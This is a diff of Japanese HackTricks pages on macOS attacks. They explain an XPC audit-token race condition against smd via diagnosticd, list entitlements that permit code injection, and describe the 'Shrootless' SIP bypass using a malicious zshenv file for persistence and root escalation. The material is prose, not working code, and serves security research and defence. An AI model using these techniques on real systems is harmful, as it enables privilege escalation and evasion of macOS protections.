* Exploitは、サービス**A**への**SEND権限をサービスBに渡します**。
|
||||
* したがって、svc **B**は実際にはサービス**A**に**メッセージを送信**します。
|
||||
* Exploitは**特権アクションを呼び出そうとします**。RC svc **A**では、**svc Bが監査トークンを上書き**したかどうかの認証を**チェック**します(これにより、Exploitが特権アクションを呼び出す権限が与えられます)。
|
||||
* Exploitは**特権アクションを呼び出そうとします**。RC svc **A**は、この**アクション**の認可を**チェック**しますが、**svc Bは監査トークンを上書き**しているため(Exploitが特権アクションを呼び出すためのアクセスを提供する)、Exploitは特権アクションを呼び出すことができます。
|
||||
2. Variant 2:
|
||||
* サービス**B**は、ユーザーができない**特権機能**をサービス**A**で呼び出すことができます。
|
||||
* Exploitは、**サービスA**に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
|
||||
* Exploitは、**サービスB**にメッセージを送信し、**そのリプライポート**を渡します。
|
||||
* サービス**Bが応答すると、メッセージをサービス**Aに送信**しますが、同時にExploitはサービス**A**に異なる**メッセージを送信**し、特権機能に到達しようとし、サービス**B**からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
* サービス**Bが応答すると、メッセージをサービス**Aに送信**しますが、同時に**Exploit**は別の**メッセージをサービスAに送信**し、特権機能に到達しようとし、サービスBからの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合状態)。
|
||||
## Variant 1: イベントハンドラの外でxpc_connection_get_audit_tokenを呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
シナリオ:
|
||||
|
||||
* 2つのmach **サービス**_**A**_**と**_**B**_**に接続できる**(サンドボックスプロファイルと接続を受け入れる前の認証チェックに基づく)。
|
||||
* _**A**_**は、**_**B**_**が渡すことができる特定の**アクションの認証チェック**を持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
* _**A**_**は、**_**B**_**が渡すことができる特定の**アクションの****認証チェック**を持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
* たとえば、Bにはいくつかの**エンタイトルメント**があるか、**root**として実行されている場合、特権アクションを実行するようにAに要求することができます。
|
||||
* この認証チェックでは、_**A**_**は非同期に監査トークンを取得します**。たとえば、`dispatch_async`から`xpc_connection_get_audit_token`を呼び出すことによって。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この場合、攻撃者は**レースコンディション**をトリガーし、**BがAにアクションを実行する**ように**exploit**を複数回要求します。RCが**成功すると**、**Bの監査トークン**が**メモリにコピー**されますが、その間に**exploit**のリクエストがAによって**処理**されるため、Bだけが要求できる特権アクションに**アクセス**できます。
|
||||
この場合、攻撃者は**レースコンディション**をトリガーし、**BがAにアクションを実行する**ように**exploit**を複数回要求します。RCが**成功すると**、**Bの監査トークン**が**メモリにコピー**されます**exploit**のリクエストがAによって**処理**される**間に**、それによって**Bだけが要求できる特権アクションにアクセス**できます。
|
||||
{% endhint %}
|
||||
|
||||
これは、_**A**_**が`smd`**として、_**B**_**が`diagnosticd`**として発生しました。[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行されるプロセスが**smd**に連絡する場合、他のチェックは実行されません。
|
||||
これは、_**A**_**が`smd`**として、_**B**_**が`diagnosticd`**として発生しました。[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)関数は、特権ヘルパーツール(**root**として)をインストールするために使用できます。**root**として実行される**プロセスが**`smd`**に連絡する場合、他のチェックは実行されません。
|
||||
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスを**監視**するために使用できます。したがって、監視が開始されると、**毎秒複数のメッセージを送信**します。
|
||||
したがって、サービス**B**は**`diagnosticd`**であり、**root**として実行されるため、プロセスの**モニタリング**に使用できます。モニタリングが開始されると、**1秒に複数のメッセージを送信**します。
|
||||
|
||||
攻撃を実行するには:
|
||||
|
||||
1. 通常のXPCプロトコルに従って、**`smd`**への**接続**を確立します。
|
||||
2. 次に、**`diagnosticd`**への**接続**を確立しますが、新しいmachポートを2つ生成してそれらを送信する代わりに、クライアントポートの送信権を**`smd`への接続の送信権のコピー**で置き換えます。
|
||||
3. これは、**`diagnosticd`**にXPCメッセージを送信できることを意味しますが、**`diagnosticd`が送信するメッセージは`smd`に送信されます**。 
|
||||
* `smd`では、私たちと`diagnosticd`の両方のメッセージが同じ接続に到着します。
|
||||
2. 次に、**`diagnosticd`**への**接続**を確立しますが、新しいmachポートを2つ生成してそれらを送信する代わりに、クライアントポートの送信権を**`smd`**への接続に対して持っている**送信権のコピー**で置き換えます。
|
||||
3. これは、**`diagnosticd`**にXPCメッセージを送信できるが、**`diagnosticd`**が送信するメッセージは**`smd`**に送信されることを意味します。 
|
||||
* `smd`にとって、私たちと`diagnosticd`の両方のメッセージは同じ接続に到着します。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
4. **`diagnosticd`**に私たち(またはアクティブな任意の)プロセスの**監視を開始**するように依頼し、**`smd`に1004のルーチンメッセージをスパム**します(特権ツールをインストールするため)。
|
||||
5. これにより、`handle_bless`で非常に特定のウィンドウに到達する必要があるレースコンディションが発生します。特権ヘルパーツールはアプリのバンドルにありますので、`xpc_connection_get_pid`への呼び出しは自分自身のプロセスのPIDを返す必要があります。ただし、`connection_is_authorized`関数内の`xpc_connection_get_audit_token`への呼び出しは、`diagnosticd`の監査トークンを使用する必要があります。
|
||||
4. **`diagnosticd`**に私たち(またはアクティブな任意の)プロセスの**モニタリングを開始**するように依頼し、**`smd`**に対して**ルーチン1004のメッセージをスパム**します(特権ツールをインストールするため)。
|
||||
5. これにより、`handle_bless`で非常に特定のウィンドウに到達する必要があるレースコンディションが作成されます。特権ヘルパーツールはアプリのバンドルにありますので、`xpc_connection_get_pid`への呼び出しが自分自身のプロセスのPIDを返す必要があります。ただし、`connection_is_authorized`関数内の`xpc_connection_get_audit_token`への呼び出しは、`diganosticd`の監査トークンを使用する必要があります。
|
||||
|
||||
## Variant 2: 返信の転送
|
||||
|
||||
前述のように、XPC接続のイベントハンドラは複数回同時に実行されません。ただし、**XPCの返信**メッセージは異なる方法で処理されます。返信が期待されるメッセージを送信するために2つの関数が存在します。
|
||||
前述のように、XPC接続のイベントハンドラは複数回同時に実行されません。ただし、**XPC返信メッセージは異なる方法で処理されます**。返信が期待されるメッセージを送信するための2つの関数が存在します。
|
||||
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`:この場合、XPCメッセージは指定されたキューで受信および解析されます。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`:この場合、XPCメッセージは現在のディスパッチキューで受信および解析されます。
|
||||
* `void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t replyq, xpc_handler_t handler)`は、XPCメッセージが指定されたキューで受信および解析される場合です。
|
||||
* `xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message)`は、XPCメッセージが現在のディスパッチキューで受信および解析される場合です。
|
||||
|
||||
したがって、**XPCの返信パケットは、XPCイベントハンドラの実行中に解析**される可能性があります。`_xpc_connection_set_creds`はロックを使用していますが、これは監査トークンの一部の上書きを防ぐだけであり、接続オブジェクト全体をロックしません。そのため、パケットの解析とイベントハンドラの実行の間に監査トークンを**置き換える**ことが可能です。
|
||||
したがって、**XPC返信パケットはXPCイベントハンドラの実行中に解析**される可能性があります。`_xpc_connection_set_creds`はロックを使用していますが、これは監査トークンの一部の上書きを防ぐだけであり、接続オブジェクト全体をロックしません。そのため、パケットの解析とイベントハンドラの実行の間に監査トークンを置き換えることが可能です。
|
||||
|
||||
このシナリオでは、次のものが必要です:
|
||||
|
||||
* 先ほどと同様に、私たちが両方に接続できる2つのmachサービス_A_と_B_。
|
||||
* 先ほどと同様に、私たちが両方に接続できる2つのmachサービス_A_と_B_が必要です。
|
||||
* 再び、_A_は_B_が渡すことができる特定のアクションの認証チェックを持っている必要があります(ただし、私たちのアプリはできません)。
|
||||
* _A_は返信を期待するメッセージを私たちに送信します。
|
||||
* _B_に返信するメッセージを送信できます。
|
||||
|
||||
_A_が返信を期待するメッセージを送信するのを待ちます(1)、返信せずに返信ポートを取得し、_B_に送信するメッセージに使用します(2)。その後、禁止されたアクションを使用するメッセージを送信し、_B_からの返信と同時に到着することを期待します(3)。
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 発見の問題
|
||||
|
||||
他のインスタンスを見つけるために長い時間を費やしましたが、条件が静的または動的に検索するのが難しかったです。`xpc_connection_get_audit_token`への非同期呼び出しを検索するために、Fridaを使用してこの関数にフックし、バックトレースに`_xpc_connection_mach_event`が含まれているかどうかをチェックしました(これはイベントハンドラから呼び出されていないことを意味します)。ただし、これは現在フックしているプロセスとアクティブに使用されているアクションからの呼び出しのみを検出します。IDA/Ghidraで到達可能なすべてのmachサービスを分析することは非常に時間がかかりましたが、呼び出しがdyld共有キャッシュを含む場合は特にそうです。`dispatch_async`を使用して提出されたブロックから到達可能な`xpc_connection_get_audit_token`への呼び出しを検索するためにスクリプトを試しましたが、ブロックとdyld共有キャッシュへのパースが困難でした。これにしばらく時間を費やした後、私たちは持っているものを提出する方が良いと判断しました。
|
||||
他のインスタンスを見つけるために長い時間を費やしましたが、条件が静的または動的に検索するのが難しかったです。`xpc_connection_get_audit_token`への非同期呼び出しを検索するために、Fridaを使用してこの関数にフックし、バックトレースに`_xpc_connection_mach_event`が含まれているかどうかをチェックしました(これはイベントハンドラから呼び出されていないことを意味します)。ただし、これは現在フックしているプロセスとアクティブに使用されているアクションからの呼び出しのみを検出します。IDA/Ghidraで到達可能なすべてのmachサービスを分析することは非常に時間がかかりましたが、特にdyld共有キャッシュが関与する呼び出しの場合です。`dispatch_async`を使用して提出されたブロックから到達可能な`xpc_connection_get_audit_token`への呼び出しを検索するためにスクリプトを試しましたが、ブロックとdyld共有キャッシュへのパースが困難でした。これにしばらく時間を費やした後、私たちは持っているものを提出する方が良いと判断しました。
|
||||
## 修正策 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
最終的に、私たちは`smd`の一般的な問題と具体的な問題を報告しました。Appleは`smd`のみ修正し、`xpc_connection_get_audit_token`の呼び出しを`xpc_dictionary_get_audit_token`に置き換えました。
|
||||
|
||||
関数`xpc_dictionary_get_audit_token`は、このXPCメッセージが受信されたマッハメッセージから監査トークンをコピーします。つまり、脆弱性はありません。ただし、`xpc_dictionary_get_audit_token`と同様に、これは公開APIの一部ではありません。上位レベルの`NSXPCConnection` APIでは、現在のメッセージの監査トークンを取得する明確な方法は存在しません。なぜなら、これはすべてのメッセージをメソッド呼び出しに抽象化しているからです。
|
||||
関数`xpc_dictionary_get_audit_token`は、このXPCメッセージが受信されたマッハメッセージから監査トークンをコピーします。つまり、脆弱性はありません。ただし、`xpc_dictionary_get_audit_token`と同様に、これは公開APIの一部ではありません。より高レベルの`NSXPCConnection` APIでは、現在のメッセージの監査トークンを取得する明確な方法は存在しません。なぜなら、これはすべてのメッセージをメソッド呼び出しに抽象化しているからです。
|
||||
|
||||
Appleがより一般的な修正を適用しなかった理由は明確ではありません。たとえば、接続の保存された監査トークンと一致しないメッセージを破棄するという方法が考えられます。プロセスの監査トークンが正当に変更されるが、接続は開いたままにする必要があるシナリオがあるかもしれません(たとえば、`setuid`を呼び出すとUIDフィールドが変更されます)。ただし、異なるPIDやPIDバージョンのような変更は意図されていない可能性が高いです。
|
||||
なぜAppleがより一般的な修正を適用しなかったのかは不明です。たとえば、接続の保存された監査トークンと一致しないメッセージを破棄するという方法が考えられます。プロセスの監査トークンが正当に変更されるが、接続は開いたままにする必要があるシナリオがあるかもしれません(たとえば、`setuid`を呼び出すとUIDフィールドが変更されます)。ただし、異なるPIDやPIDバージョンのような変更は意図されていない可能性が高いです。
|
||||
|
||||
いずれにせよ、この問題はiOS 17とmacOS 14でまだ残っているため、見つけるために頑張ってください!
|
||||
いずれにせよ、この問題はiOS 17とmacOS 14でもまだ残っているため、見つけるために頑張ってください!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -32,23 +32,23 @@
|
|||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
この権限は、**`com.apple.security.cs.debugger`**権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それにコードを注入することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
この権限は、**`com.apple.security.cs.debugger`**権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それにコードを**インジェクト**することができます。詳細については[**こちらを参照**](../mac-os-architecture/macos-ipc-inter-process-communication/)してください。
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された署名されていないサードパーティアプリに対して`task_for_pid()`を呼び出して有効なタスクポートを取得することができます。ただし、デバッグツール権限を持っていても、デバッガは**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。したがって、これらのプロセスはシステム整合性保護によって保護されています。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)してください。
|
||||
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された署名されていないサードパーティアプリに対して`task_for_pid()`を呼び出して有効なタスクポートを取得することができます。ただし、デバッガは、**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。これにより、システム整合性保護によって保護されているプロセスのタスクポートを取得することはできません。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)してください。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロードすることができます**。したがって、攻撃者は任意のライブラリのロードを悪用してコードを注入することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)してください。
|
||||
この権限は、Appleによって署名されていないか、メインの実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリを**ロードすることができます**。したがって、攻撃者は任意のライブラリのロードを悪用してコードをインジェクトすることができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation)してください。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
この権限は、**`com.apple.security.cs.disable-library-validation`**と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスがそれを無効にするために`csops`システムコールを呼び出すことができます。詳細については[**こちらを参照**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)してください。
|
||||
この権限は、**`com.apple.security.cs.disable-library-validation`**と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスがそれを無効にするために`csops`システムコールを呼び出すことを許可します。詳細については[**こちらを参照**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)してください。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
この権限は、ライブラリやコードを注入するために使用される可能性のある**DYLD環境変数**を使用することができます。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)してください。
|
||||
この権限は、ライブラリやコードをインジェクトするために使用される可能性のある**DYLD環境変数**の使用を許可します。詳細については[**こちらを参照**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)してください。
|
||||
|
||||
### `com.apple.private.tcc.manager`および`com.apple.rootless.storage`.`TCC`
|
||||
|
||||
|
@ -71,7 +71,7 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)には、再起動後にSSVで保護されたコンテンツを更新するために使用できると記載されています。詳細がわかる場合は、PRを送信してください!
|
||||
### `keychain-access-groups`
|
||||
|
||||
このエンタイトルメントは、アプリケーションがアクセスできる**キーチェーン**グループをリストアップします:
|
||||
このエンタイトルメントは、アプリケーションがアクセスできる**キーチェーン**グループのリストです:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -88,7 +88,7 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
アプリが他のアプリケーションにイベントを送信することを許可します。これは一般的にタスクの自動化に使用されるアプリケーションに対して行われます。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
アプリが他のアプリケーションにイベントを送信することを許可します。これは一般的にタスクの自動化に使用されるアプリケーションに対して行われます。他のアプリケーションを制御することで、これらの他のアプリケーションに付与された権限を悪用することができます。
|
||||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
|
@ -98,28 +98,28 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
|||
|
||||
アプリのバンドル内のファイル(app.app内)を変更することを許可します。これはデフォルトでは許可されていません。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Medium
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
この権限を使用すると、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、書き込みと実行が可能なメモリを作成できます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
このエンタイトルメントは、`mmap()`システム関数に`MAP_JIT`フラグを渡すことで、書き込みと実行が可能なメモリを作成することを許可します。詳細については、[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit)。
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
この権限を使用すると、Cコードをオーバーライドまたはパッチすることができます。また、基本的に安全ではない**`NSCreateObjectFileImageFromMemory`**を使用したり、**DVDPlayback**フレームワークを使用したりすることができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
|
||||
このエンタイトルメントは、Cコードをオーバーライドまたはパッチすること、基本的には安全ではない**`NSCreateObjectFileImageFromMemory`**を使用すること、または**DVDPlayback**フレームワークを使用することを許可します。詳細については、[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
この権限を含めると、アプリはメモリの安全でないコード言語による一般的な脆弱性にさらされることになります。この例外が必要かどうかを慎重に考慮してください。
|
||||
このエンタイトルメントを含めると、メモリの安全でないコード言語による一般的な脆弱性にアプリがさらされることになります。この例外が必要かどうかを慎重に考慮してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
この権限を使用すると、アプリはディスク上の自身の実行可能ファイルのセクションを変更して強制的に終了することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
このエンタイトルメントは、自身の実行可能ファイルのセクションを変更して強制的に終了することを許可します。詳細については、[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
Disable Executable Memory Protection Entitlementは、アプリの基本的なセキュリティ保護を削除する極端な権限であり、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になります。可能な限り狭い権限を選択してください。
|
||||
Disable Executable Memory Protectionエンタイトルメントは、アプリから基本的なセキュリティ保護を削除し、攻撃者が検出されずにアプリの実行可能コードを書き換えることが可能になる極端なエンタイトルメントです。可能な限り狭いエンタイトルメントを使用してください。
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -131,8 +131,8 @@ TODO
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
|
@ -89,13 +89,15 @@ SIPは他にもいくつかの制限を課しています。たとえば、**署
|
|||
権限 **`com.apple.rootless.install.heritable`** はSIPを回避することができます
|
||||
{% endhint %}
|
||||
|
||||
[**このブログポストの研究者たち**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)は、macOSのシステム整合性保護(SIP)メカニズムである「Shrootless」という脆弱性を発見しました。この脆弱性は、SIPのファイルシステム制限を回避するために、`system_installd`デーモンに付与された権限である**`com.apple.rootless.install.heritable`**に関連しています。
|
||||
[**このブログポストの研究者たち**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/)は、macOSのシステム整合性保護(SIP)メカニズムである「Shrootless」という脆弱性を発見しました。この脆弱性は、**`system_installd`**デーモンに関連しており、**`com.apple.rootless.install.heritable`**という権限を持っています。この権限により、**`system_installd`**の子プロセスはSIPのファイルシステム制限を回避することができます。
|
||||
|
||||
研究者たちは、Appleの署名されたパッケージ(.pkgファイル)のインストール中に、パッケージに含まれる**post-installスクリプト**を**`system_installd`が実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、非対話モードでも存在する場合は**`/etc/zshenv`**ファイルからコマンドが自動的に実行されます。この動作は攻撃者によって悪用される可能性があります。悪意のある`/etc/zshenv`ファイルを作成し、`system_installd`が`zsh`を呼び出すのを待つことで、デバイス上で任意の操作を実行することができます。
|
||||
**`system_installd`**デーモンは、**Apple**によって署名されたパッケージをインストールします。
|
||||
|
||||
さらに、**`/etc/zshenv`はSIPの回避だけでなく、一般的な攻撃手法として使用できる**ことが発見されました。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同じように動作しますが、ルート権限は必要ありません。このファイルは永続性のメカニズムとして使用することができ、`zsh`が起動するたびにトリガーされるか、特権の昇格メカニズムとして使用することができます。管理者ユーザーが`sudo -s`または`sudo <command>`を使用してルートに昇格する場合、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。
|
||||
